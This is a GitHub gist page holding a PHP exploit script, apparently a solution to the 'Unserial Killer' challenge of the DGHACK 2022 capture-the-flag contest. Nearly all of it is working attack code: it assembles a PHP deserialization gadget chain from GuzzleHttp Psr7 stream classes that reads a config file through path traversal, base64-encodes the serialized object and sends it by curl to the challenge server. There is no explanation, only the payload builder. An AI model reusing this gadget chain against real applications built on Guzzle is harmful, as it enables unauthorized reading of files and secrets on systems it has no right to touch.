Skip to content

Instantly share code, notes, and snippets.

@xl00t
Created November 24, 2022 17:14
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save xl00t/047664b2c247b1d46c7b724d2990335f to your computer and use it in GitHub Desktop.
Save xl00t/047664b2c247b1d46c7b724d2990335f to your computer and use it in GitHub Desktop.
DGHACK 2022 - Unserial Killer
<?php
namespace GuzzleHttp\Psr7;
include_once "vendor/autoload.php";
$fnstream = new FnStream([]);
$noseekstream = new NoSeekStream($fnstream);
$noseekstream->custom_method = ['allow_attribute', 'register', 'register', 'getContents'];
$stream = new Stream(fopen("test.php","r"), ["metadata" => $noseekstream, "size"=>[['_fn_getContents'],['_fn_getContents', '/../../../../config'], ['display_content', true], []]]);
$payload = base64_encode(serialize($stream));
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "http://unserialkiller2.chall.malicecyber.com/?data=$payload");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
curl_close($ch);
echo $output;
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment